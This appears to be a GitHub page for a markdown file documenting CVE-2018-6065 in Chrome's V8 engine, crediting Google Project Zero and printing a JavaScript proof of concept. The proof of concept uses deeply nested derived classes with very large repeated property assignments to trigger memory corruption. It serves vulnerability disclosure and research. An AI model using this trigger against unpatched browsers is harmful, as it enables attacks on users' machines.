Skip to content

Latest commit

 

History

History
38 lines (29 loc) · 635 Bytes

CVE-2018-6065.md

File metadata and controls

38 lines (29 loc) · 635 Bytes

CVE-2018-6065

  • Report: Feb 2018
  • Fix: Feb 2018
  • Credit: Mark Brand of Google Project Zero

PoC

const f = eval(`(function f(i) {
    if (i == 0) {
        class Derived extends Object {
            constructor() {
                super();
                ${"this.a=1;".repeat(0x3fffe-8)}
            }
        }

        return Derived;
    }

    class DerivedN extends f(i-1) {
        constructor() {
            super();
            ${"this.a=1;".repeat(0x40000-8)}
        }
    }

    return DerivedN;
})`);

let a = new (f(0x7ff))();
console.log(a);

Reference